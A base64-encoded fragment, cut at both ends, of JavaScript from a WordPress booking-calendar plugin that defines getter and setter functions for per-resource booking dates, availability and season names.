m9va2luZyByZXNvdXJjZSBkZWZpbmVkICAgOjogICB0cnVlIHwgZmFsc2VcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgKi9cclxuXHRvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkICkge1xyXG5cclxuXHRcdHJldHVybiAoJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiggcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdICkgKTtcclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgYm9va2luZ3MgY2FsZW5kYXIgb2JqZWN0ICAgOjogICB7IGlkOiAxICwgZGF0ZXM6ICBPYmplY3QgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFx0XHRcdFx0ICAnMidcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fGJvb2xlYW59XHRcdFx0XHRcdHsgaWQ6IDIgLCBkYXRlczogIE9iamVjdCB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKApiB9XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXQgPSBmdW5jdGlvbiggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0XHRpZiAoIG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSApe1xyXG5cclxuXHRcdFx0cmV0dXJuIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXTtcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdHJldHVybiBmYWxzZTtcclxuXHRcdH1cclxuXHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBTZXQgYm9va2luZ3MgY2FsZW5kYXIgb2JqZWN0ICAgOjogICB7IGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH1cclxuXHQgKlxyXG5cdCAqIGlmIGNhbGVuZGFyIG9iamVjdCAgbm90IGRlZmluZWQsIHRoZW4gIGl0J3Mgd2lsbCBiZSBkZWZpbmVkIGFuZCBJRCBzZXRcclxuXHQgKiBpZiBjYWxlbmRhciBleGlzdCwgdGhlbiAgc3lzdGVtIHNldCAgYXMgbmV3IG9yIG92ZXJ3cml0ZSBvbmx5IHByb3BlcnRpZXMgZnJvbSBjYWxlbmRhcl9vYmogcGFyYW1ldGVyLCAgYnV0IG90aGVyIHByb3BlcnRpZXMgd2lsbCBiZSBleGlzdGVkIGFuZCBub3Qgb3ZlcndyaXRlLCBsaWtlICdpZCdcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHRcdCAgJzInXHJcblx0ICogQHBhcmFtIHtvYmplY3R9IGNhbGVuZGFyX29ialx0XHRcdFx0XHQgIHsgIGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH0gIH1cclxuXHQgKiBAcmV0dXJucyB7Kn1cclxuXHQgKlxyXG5cdCAqIEV4YW1wbGVzOlxyXG5cdCAqXHJcblx0ICogQ29tbW9uIHVzYWdlIGluIFBIUDpcclxuXHQgKiAgIFx0XHRcdGVjaG8gXCIgIF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19zZXQoICBcIiAuaW50dmFsKCAkcmVzb3VyY2VfaWQgKSAuIFwiLCB7ICdkYXRlcyc6IFwiIC4gd3BfanNvbl9lbmNvZGUoICRhdmFpbGFiaWxpdHlfcGVyX2RheXNfYXJyICkgLiBcIiB9ICk7XCI7XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19zZXQgPSBmdW5jdGlvbiggcmVzb3VyY2VfaWQsIGNhbGVuZGFyX29iaiApe1xyXG5cclxuXHRcdGlmICggISBvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKXtcclxuXHRcdFx0cF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdID0ge307XHJcblx0XHRcdHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgJ2lkJyBdID0gcmVzb3VyY2VfaWQ7XHJcblx0XHR9XHJcblxyXG5cdFx0Zm9yICggdmFyIHByb3BfbmFtZSBpbiBjYWxlbmRhcl9vYmogKXtcclxuXHJcblx0XHRcdHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF0gPSBjYWxlbmRhcl9vYmpbIHByb3BfbmFtZSBdO1xyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF07XHJcblx0fTtcclxuXHJcblx0Ly8gRGF0ZXNcclxuXHJcblx0LyoqXHJcblx0ICogIEdldCBib29raW5ncyBkYXRhIGZvciBBTEwgRGF0ZXMgaW4gY2FsZW5kYXIgICA6OiAgIGZhbHNlIHwgeyBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmIH1cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHQnMSdcclxuXHQgKiBAcmV0dXJucyB7b2JqZWN0fGJvb2xlYW59XHRcdFx0XHRmYWxzZSB8IE9iamVjdCB7XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XCIyMDIzLTA3LTI0XCI6IE9iamVjdCB7IFsnc3VtbWFyeSddWydzdGF0dXNfZm9yX2RheSddOiBcImF2YWlsYWJsZVwiLCBkYXlfYXZhaWxhYmlsaXR5OiAxLCBtYXhfY2FwYWNpdHk6IDEsIOKApiB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XCIyMDIzLTA3LTI2XCI6IE9iamVjdCB7IFsnc3VtbWFyeSddWydzdGF0dXNfZm9yX2RheSddOiBcImZ1bGxfZGF5X2Jvb2tpbmdcIiwgWydzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnXTogXCJwZW5kaW5nXCIsIGRheV9hdmFpbGFiaWxpdHk6IDAsIOKApiB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XCIyMDIzLTA3LTI5XCI6IE9iamVjdCB7IFsnc3VtbWFyeSddWydzdGF0dXNfZm9yX2RheSddOiBcInJlc291cmNlX2F2YWlsYWJpbGl0eVwiLCBkYXlfYXZhaWxhYmlsaXR5OiAwLCBtYXhfY2FwYWNpdHk6IDEsIOKApiB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XCIyMDIzLTA3LTMwXCI6IHvigKZ9LCBcIjIwMjMtMDctMzFcIjoge+KApn0sIOKAplxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZGF0ZXMgPSBmdW5jdGlvbiggcmVzb3VyY2VfaWQpe1xyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCBvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKVxyXG5cdFx0XHQmJiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKCBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bICdkYXRlcycgXSApIClcclxuXHRcdCl7XHJcblx0XHRcdHJldHVybiAgcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF07XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIGZhbHNlO1x0XHQvLyBJZiBzb21lIHByb3BlcnR5IG5vdCBkZWZpbmVkLCB0aGVuIGZhbHNlO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqIFNldCBib29raW5ncyBkYXRlcyBpbiBjYWxlbmRhciBvYmplY3QgICA6OiAgICB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKApiB9XHJcblx0ICpcclxuXHQgKiBpZiBjYWxlbmRhciBvYmplY3QgIG5vdCBkZWZpbmVkLCB0aGVuICBpdCdzIHdpbGwgYmUgZGVmaW5lZCBhbmQgJ2lkJywgJ2RhdGVzJyBzZXRcclxuXHQgKiBpZiBjYWxlbmRhciBleGlzdCwgdGhlbiBzeXN0ZW0gYWRkIGEgIG5ldyBvciBvdmVyd3JpdGUgb25seSBkYXRlcyBmcm9tIGRhdGVzX29iaiBwYXJhbWV0ZXIsXHJcblx0ICogYnV0IG90aGVyIGRhdGVzIG5vdCBmcm9tIHBhcmFtZXRlciBkYXRlc19vYmogd2lsbCBiZSBleGlzdGVkIGFuZCBub3Qgb3ZlcndyaXRlLlxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHtzdHJpbmd8aW50fSByZXNvdXJjZV9pZFx0XHRcdFx0ICAnMidcclxuXHQgKiBAcGFyYW0ge29iamVjdH0gZGF0ZXNfb2JqXHRcdFx0XHRcdCAgeyBcIjIwMjMtMDctMjFcIjoge+KApn0sIFwiMjAyMy0wNy0yMlwiOiB74oCmfSwgXCIyMDIzLTA3LTIzXCI6IHvigKZ9LCDigKYgfVxyXG5cdCAqIEBwYXJhbSB7Ym9vbGVhbn0gaXNfY29tcGxldGVfb3ZlcndyaXRlXHRcdCAgaWYgZmFsc2UsICB0aGVuICBvbmx5IG92ZXJ3cml0ZSBvciBhZGQgIGRhdGVzIGZyb20gXHRkYXRlc19vYmpcclxuXHQgKiBAcmV0dXJucyB7Kn1cclxuXHQgKlxyXG5cdCAqIEV4YW1wbGVzOlxyXG5cdCAqICAgXHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX3NldF9kYXRlcyggcmVzb3VyY2VfaWQsIHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIOKApiB9ICApO1x0XHQ8LSAgIG92ZXJ3cml0ZSBBTEwgZGF0ZXNcclxuXHQgKiAgIFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19zZXRfZGF0ZXMoIHJlc291cmNlX2lkLCB7IFwiMjAyMy0wNy0yMlwiOiB74oCmfSB9LCAgZmFsc2UgICk7XHRcdFx0XHRcdDwtICAgYWRkIG9yIG92ZXJ3cml0ZSBvbmx5ICBcdFwiMjAyMy0wNy0yMlwiOiB7fVxyXG5cdCAqXHJcblx0ICogQ29tbW9uIHVzYWdlIGluIFBIUDpcclxuXHQgKiAgIFx0XHRcdGVjaG8gXCIgIF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19zZXRfZGF0ZXMoICBcIiAuIGludHZhbCggJHJlc291cmNlX2lkICkgLiBcIiwgIFwiIC4gd3BfanNvbl9lbmNvZGUoICRhdmFpbGFiaWxpdHlfcGVyX2RheXNfYXJyICkgLiBcIiAgKTsgIFwiO1xyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9fc2V0X2RhdGVzID0gZnVuY3Rpb24oIHJlc291cmNlX2lkLCBkYXRlc19vYmogLCBpc19jb21wbGV0ZV9vdmVyd3JpdGUgPSB0cnVlICl7XHJcblxyXG5cdFx0aWYgKCAhb2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyX19pc19kZWZpbmVkKCByZXNvdXJjZV9pZCApICl7XHJcblx0XHRcdG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9fc2V0KCByZXNvdXJjZV9pZCwgeyAnZGF0ZXMnOiB7fSB9ICk7XHJcblx0XHR9XHJcblxyXG5cdFx0aWYgKCAndW5kZWZpbmVkJyA9PT0gdHlwZW9mIChwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bICdkYXRlcycgXSkgKXtcclxuXHRcdFx0cF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF0gPSB7fVxyXG5cdFx0fVxyXG5cclxuXHRcdGlmIChpc19jb21wbGV0ZV9vdmVyd3JpdGUpe1xyXG5cclxuXHRcdFx0Ly8gQ29tcGxldGUgb3ZlcndyaXRlIGFsbCAgYm9va2luZyBkYXRlc1xyXG5cdFx0XHRwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bICdkYXRlcycgXSA9IGRhdGVzX29iajtcclxuXHRcdH0gZWxzZSB7XHJcblxyXG5cdFx0XHQvLyBBZGQgb25seSAgbmV3IG9yIG92ZXJ3cml0ZSBleGlzdCBib29raW5nIGRhdGVzIGZyb20gIHBhcmFtZXRlci4gQm9va2luZyBkYXRlcyBub3QgZnJvbSAgcGFyYW1ldGVyICB3aWxsICBiZSB3aXRob3V0IGNobmFuZ2VzXHJcblx0XHRcdGZvciAoIHZhciBwcm9wX25hbWUgaW4gZGF0ZXNfb2JqICl7XHJcblxyXG5cdFx0XHRcdHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsnZGF0ZXMnXVsgcHJvcF9uYW1lIF0gPSBkYXRlc19vYmpbIHByb3BfbmFtZSBdO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXTtcclxuXHR9O1xyXG5cclxuXHJcblx0LyoqXHJcblx0ICogIEdldCBib29raW5ncyBkYXRhIGZvciBzcGVjaWZpYyBkYXRlIGluIGNhbGVuZGFyICAgOjogICBmYWxzZSB8IHsgZGF5X2F2YWlsYWJpbGl0eTogMSwgLi4uIH1cclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gcmVzb3VyY2VfaWRcdFx0XHQnMSdcclxuXHQgKiBAcGFyYW0ge3N0cmluZ30gc3FsX2NsYXNzX2RheVx0XHRcdCcyMDIzLTA3LTIxJ1xyXG5cdCAqIEByZXR1cm5zIHtvYmplY3R8Ym9vbGVhbn1cdFx0XHRcdGZhbHNlIHwge1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRkYXlfYXZhaWxhYmlsaXR5OiA0XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdG1heF9jYXBhY2l0eTogNFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vICA+PSBCdXNpbmVzcyBMYXJnZVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQyOiBPYmplY3QgeyBpc19kYXlfdW5hdmFpbGFibGU6IGZhbHNlLCBfZGF5X3N0YXR1czogXCJhdmFpbGFibGVcIiB9XHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdDEwOiBPYmplY3QgeyBpc19kYXlfdW5hdmFpbGFibGU6IGZhbHNlLCBfZGF5X3N0YXR1czogXCJhdmFpbGFibGVcIiB9XHRcdC8vICA+PSBCdXNpbmVzcyBMYXJnZSAuLi5cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0MTE6IE9iamVjdCB7IGlzX2RheV91bmF2YWlsYWJsZTogZmFsc2UsIF9kYXlfc3RhdHVzOiBcImF2YWlsYWJsZVwiIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0MTI6IE9iamVjdCB7IGlzX2RheV91bmF2YWlsYWJsZTogZmFsc2UsIF9kYXlfc3RhdHVzOiBcImF2YWlsYWJsZVwiIH1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHQgKi9cclxuXHRvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSA9IGZ1bmN0aW9uKCByZXNvdXJjZV9pZCwgc3FsX2NsYXNzX2RheSApe1xyXG5cclxuXHRcdGlmIChcclxuXHRcdFx0ICAgKCBvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJfX2lzX2RlZmluZWQoIHJlc291cmNlX2lkICkgKVxyXG5cdFx0XHQmJiAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKCBwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bICdkYXRlcycgXSApIClcclxuXHRcdFx0JiYgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mICggcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF1bIHNxbF9jbGFzc19kYXkgXSApIClcclxuXHRcdCl7XHJcblx0XHRcdHJldHVybiAgcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnZGF0ZXMnIF1bIHNxbF9jbGFzc19kYXkgXTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gZmFsc2U7XHRcdC8vIElmIHNvbWUgcHJvcGVydHkgbm90IGRlZmluZWQsIHRoZW4gZmFsc2U7XHJcblx0fTtcclxuXHJcblxyXG5cdC8vIEFueSAgUEFSQU1TICAgaW4gYm9va2luZ3NcclxuXHJcblx0LyoqXHJcblx0ICogU2V0IHByb3BlcnR5ICB0byAgYm9va2luZ1xyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFx0XCIxXCJcclxuXHQgKiBAcGFyYW0gcHJvcF9uYW1lXHRcdG5hbWUgb2YgcHJvcGVydHlcclxuXHQgKiBAcGFyYW0gcHJvcF92YWx1ZVx0dmFsdWUgb2YgcHJvcGVydHlcclxuXHQgKiBAcmV0dXJucyB7Kn1cdFx0XHRib29raW5nIG9iamVjdFxyXG5cdCAqL1xyXG5cdG9iai5ib29raW5nX19zZXRfcGFyYW1fdmFsdWUgPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBwcm9wX25hbWUsIHByb3BfdmFsdWUgKSB7XHJcblxyXG5cdFx0aWYgKCAhIG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSApe1xyXG5cdFx0XHRwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF0gPSB7fTtcclxuXHRcdFx0cF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyAnaWQnIF0gPSByZXNvdXJjZV9pZDtcclxuXHRcdH1cclxuXHJcblx0XHRwX2Jvb2tpbmdzWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF1bIHByb3BfbmFtZSBdID0gcHJvcF92YWx1ZTtcclxuXHJcblx0XHRyZXR1cm4gcF9ib29raW5nc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdO1xyXG5cdH07XHJcblxyXG5cdC8qKlxyXG5cdCAqICBHZXQgYm9va2luZyBwcm9wZXJ0eSB2YWx1ZSAgIFx0OjogICBtaXhlZCB8IG51bGxcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfGludH0gIHJlc291cmNlX2lkXHRcdCcxJ1xyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfSBwcm9wX25hbWVcdFx0XHQnc2VsZWN0aW9uX21vZGUnXHJcblx0ICogQHJldHVybnMgeyp8bnVsbH1cdFx0XHRcdFx0bWl4ZWQgfCBudWxsXHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdfX2dldF9wYXJhbV92YWx1ZSA9IGZ1bmN0aW9uKCByZXNvdXJjZV9pZCwgcHJvcF9uYW1lICl7XHJcblxyXG5cdFx0aWYgKFxyXG5cdFx0XHQgICAoIG9iai5ib29raW5nc19pbl9jYWxlbmRhcl9faXNfZGVmaW5lZCggcmVzb3VyY2VfaWQgKSApXHJcblx0XHRcdCYmICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAoIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF0gKSApXHJcblx0XHQpe1xyXG5cdFx0XHRyZXR1cm4gIHBfYm9va2luZ3NbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXVsgcHJvcF9uYW1lIF07XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIG51bGw7XHRcdC8vIElmIHNvbWUgcHJvcGVydHkgbm90IGRlZmluZWQsIHRoZW4gbnVsbDtcclxuXHR9O1xyXG5cclxuXHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBTZXQgYm9va2luZ3MgZm9yIGFsbCAgY2FsZW5kYXJzXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge29iamVjdH0gY2FsZW5kYXJzX29ialx0XHRPYmplY3QgeyBjYWxlbmRhcl8xOiB7IGlkOiAxLCBkYXRlczogT2JqZWN0IHsgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIFwiMjAyMy0wNy0yNFwiOiB74oCmfSwg4oCmIH0gfVxyXG5cdCAqIFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdCBjYWxlbmRhcl8zOiB7fSwgLi4uIH1cclxuXHQgKi9cclxuXHRvYmouYm9va2luZ3NfaW5fY2FsZW5kYXJzX19zZXRfYWxsID0gZnVuY3Rpb24gKCBjYWxlbmRhcnNfb2JqICkge1xyXG5cdFx0cF9ib29raW5ncyA9IGNhbGVuZGFyc19vYmo7XHJcblx0fTtcclxuXHJcblx0LyoqXHJcblx0ICogR2V0IGJvb2tpbmdzIGluIGFsbCBjYWxlbmRhcnNcclxuXHQgKlxyXG5cdCAqIEByZXR1cm5zIHtvYmplY3R8e319XHJcblx0ICovXHJcblx0b2JqLmJvb2tpbmdzX2luX2NhbGVuZGFyc19fZ2V0X2FsbCA9IGZ1bmN0aW9uICgpIHtcclxuXHRcdHJldHVybiBwX2Jvb2tpbmdzO1xyXG5cdH07XHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblxyXG5cclxuXHJcblx0Ly8gU2Vhc29ucyBcdC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHR2YXIgcF9zZWFzb25zID0gb2JqLnNlYXNvbnNfb2JqID0gb2JqLnNlYXNvbnNfb2JqIHx8IHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBjYWxlbmRhcl8xOiBPYmplY3Qge1xyXG4gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL1x0XHRcdFx0XHRcdCAgIGlkOiAgICAgMVxyXG4gXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvL1x0XHRcdFx0XHRcdCAsIGRhdGVzOiAgT2JqZWN0IHsgXCIyMDIzLTA3LTIxXCI6IHvigKZ9LCBcIjIwMjMtMDctMjJcIjoge+KApn0sIFwiMjAyMy0wNy0yM1wiOiB74oCmfSwg4oCmXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gfVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9O1xyXG5cclxuXHQvKipcclxuXHQgKiBBZGQgc2Vhc29uIG5hbWVzIGZvciBkYXRlcyBpbiBjYWxlbmRhciBvYmplY3QgICA6OiAgICB7IFwiMjAyMy0wNy0yMVwiOiBbICd3cGJjX3NlYXNvbl9zZXB0ZW1iZXJfMjAyMycsICd3cGJjX3NlYXNvbl9zZXB0ZW1iZXJfMjAyNCcgXSwgXCIyMDIzLTA3LTIyXCI6IFsuLi5dLCAuLi4gfVxyXG5cdCAqXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge3N0cmluZ3xpbnR9IHJlc291cmNlX2lkXHRcdFx0XHQgICcyJ1xyXG5cdCAqIEBwYXJhbSB7b2JqZWN0fSBkYXRlc19vYmpcdFx0XHRcdFx0ICB7IFwiMjAyMy0wNy0yMVwiOiB74oCmfSwgXCIyMDIzLTA3LTIyXCI6IHvigKZ9LCBcIjIwMjMtMDctMjNcIjoge+KApn0sIOKApiB9XHJcblx0ICogQHBhcmFtIHtib29sZWFufSBpc19jb21wbGV0ZV9vdmVyd3JpdGVcdFx0ICBpZiBmYWxzZSwgIHRoZW4gIG9ubHkgIGFkZCAgZGF0ZXMgZnJvbSBcdGRhdGVzX29ialxyXG5cdCAqIEByZXR1cm5zIHsqfVxyXG5cdCAqXHJcblx0ICogRXhhbXBsZXM6XHJcblx0ICogICBcdFx0XHRfd3BiYy5zZWFzb25zX19zZXQoIHJlc291cmNlX2lkLCB7IFwiMjAyMy0wNy0yMVwiOiBbICd3cGJjX3NlYXNvbl9zZXB0ZW1iZXJfMjAyMycsICd3cGJjX3NlYXNvbl9zZXB0ZW1iZXJfMjAyNCcgXSwgXCIyMDIzLTA3LTIyXCI6IFsuLi5dLCAuLi4gfSAgKTtcclxuXHQgKi9cclxuXHRvYmouc2Vhc29uc19fc2V0ID0gZnVuY3Rpb24oIHJlc291cmNlX2lkLCBkYXRlc19vYmogLCBpc19jb21wbGV0ZV9vdmVyd3JpdGUgPSBmYWxzZSApe1xyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAocF9zZWFzb25zWyAnY2FsZW5kYXJfJyArIHJlc291cmNlX2lkIF0pICl7XHJcblx0XHRcdHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdID0ge307XHJcblx0XHR9XHJcblxyXG5cdFx0aWYgKCBpc19jb21wbGV0ZV9vdmVyd3JpdGUgKXtcclxuXHJcblx0XHRcdC8vIENvbXBsZXRlIG92ZXJ3cml0ZSBhbGwgIHNlYXNvbiBkYXRlc1xyXG5cdFx0XHRwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXSA9IGRhdGVzX29iajtcclxuXHJcblx0XHR9IGVsc2Uge1xyXG5cclxuXHRcdFx0Ly8gQWRkIG9ubHkgIG5ldyBvciBvdmVyd3JpdGUgZXhpc3QgYm9va2luZyBkYXRlcyBmcm9tICBwYXJhbWV0ZXIuIEJvb2tpbmcgZGF0ZXMgbm90IGZyb20gIHBhcmFtZXRlciAgd2lsbCAgYmUgd2l0aG91dCBjaG5hbmdlc1xyXG5cdFx0XHRmb3IgKCB2YXIgcHJvcF9uYW1lIGluIGRhdGVzX29iaiApe1xyXG5cclxuXHRcdFx0XHRpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2YgKHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSkgKXtcclxuXHRcdFx0XHRcdHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXSA9IFtdO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRmb3IgKCB2YXIgc2Vhc29uX25hbWVfa2V5IGluIGRhdGVzX29ialsgcHJvcF9uYW1lIF0gKXtcclxuXHRcdFx0XHRcdHBfc2Vhc29uc1sgJ2NhbGVuZGFyXycgKyByZXNvdXJjZV9pZCBdWyBwcm9wX25hbWUgXS5wdXNoKCBkYXRlc19vYmpbIHByb3BfbmFtZSBdWyBzZWFzb25fbmFtZV9rZXkgXSApO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBwX3NlYXNvbnNbICdjYWxlbmRhcl8nICsgcmVzb3VyY2VfaWQgXTtcclxuXHR9O1xyXG5cclxuXHJcblx0LyoqXHJcblx0ICogIEdldCBib29raW5ncyBkYXRhIGZvciBzcGVjaWZpYyBkYXRlIGluIGNhbGVuZGFyICAgOjogICBbXSB8